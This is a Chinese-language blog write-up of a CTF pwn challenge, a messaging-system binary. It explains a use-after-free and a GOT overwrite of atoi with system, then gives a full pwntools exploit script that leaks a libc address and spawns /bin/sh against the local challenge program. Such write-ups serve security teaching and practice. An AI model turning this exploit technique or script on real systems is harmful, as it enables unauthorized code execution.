MozhuCY's blog.

网鼎杯半决赛pwn1

字数统计: 633阅读时长: 3 min
1970/01/01 Share

一个短信系统

  • 定义了两个结构体,分别如下,一个是用户信息的结构体,一个是信息结构体
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
00000000
00000000 message struc ; (sizeof=0x18, align=0x8, mappedto_6)
00000000 title dq ? ; offset
00000008 content dq ?
00000010 next dq ?
00000018 message ends
00000018
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 pwn struc ; (sizeof=0x128, align=0x8, mappedto_7)
00000000 malloc_name_ptr dq ?
00000008 age dq ?
00000010 description db 256 dup(?)
00000110 messagenode dq ? ; offset
00000118 friend_ptr dq ?
00000120 inuse dq ?
00000128 pwn ends
00000128
  • 程序逻辑有一些复杂,但是有几个关键的地方值得注意一下

  • 人物信息结构体中有许多指针,而且排布相对稳定

  • 程序只有两处地方调用了free函数,并且未置空指针,这就导致了UAF的存在

  • 还有strdup函数,第一次见,作用不是很清楚,去查了一下才知道它的作用和malloc后scanf是一样的

  • 程序中有大量的链表指针操作,显得非常复杂,但是不用太过于纠结,在我尝试了一下执行free后,人物信息结构体被free掉了,这就导致了有0x130的空间可以被利用

  • 期间我尝试了利用strdup来进行堆块错位的操作,但是并没有成功,因为p64()函数自动补的0影响了strdup的过程,而唯一比较容易的可控的地方是nameptr,只要覆盖了name指针内容,show后再进行updata,就可以leak程序基址修改程序的got表

  • 这里我free了两块大堆块,导致了我有0x260的空间可以使用,然后我就可以利用刚才的strdup,来进行指针的覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *

r = process("./pwn")
atoi_libc = 0x36E80 #offset
sys_libc = 0x45390

def register(namesize,name):
r.sendlineafter("Your choice:","2")
r.sendlineafter("Input your name size:",str(namesize))
r.sendafter("Input your name:",name)
r.sendlineafter("Input your age:","18")
r.sendlineafter("Input your description:","1"*0x100)

def login(name):
r.sendlineafter("Your choice:","1")
r.sendafter("Please input your user name:",name)

def show():
r.sendlineafter("Your choice:","1")

def edit(name,age):
r.sendlineafter("Your choice:","2")
r.sendafter("Input your name:",name)
r.sendlineafter("Input your age:","18")
r.sendlineafter("Input your description:","1"*0x100)

def AddDeleFriend(module,name):
r.sendlineafter("Your choice:","3")
r.sendafter("Input the friend's name:",name)
r.sendlineafter("So..Do u want to add or delete this friend?(a/d)",module)

def message(name,content,title):
r.sendlineafter("Your choice:","4")
r.sendafter("Which user do you want to send a msg to:",name)
r.sendlineafter("Input your message title:",title)
r.sendlineafter("Input your content:",content)

def logout():
r.sendlineafter("Your choice:","6")


def exp():
register(0x80,"111111")
register(0x80,"222222")

login("111111")
AddDeleFriend("a","111111")
AddDeleFriend("d","111111")
logout()
login("222222")
AddDeleFriend("a","222222")
AddDeleFriend("d","222222")
payload = '\x30'*16*15
payload += p64(0x602060)
message("222222",payload,"title")
show()

r.recvuntil("Username:")
atoi = u64(r.recv(6) +'\x00'*2)
print "atoi :%x"%atoi
system=atoi-atoi_libc + sys_libc
edit(p64(system),18)
r.sendline("/bin/sh")
r.interactive()

if __name__ == "__main__":
exp()
CATALOG
  1. 1. 一个短信系统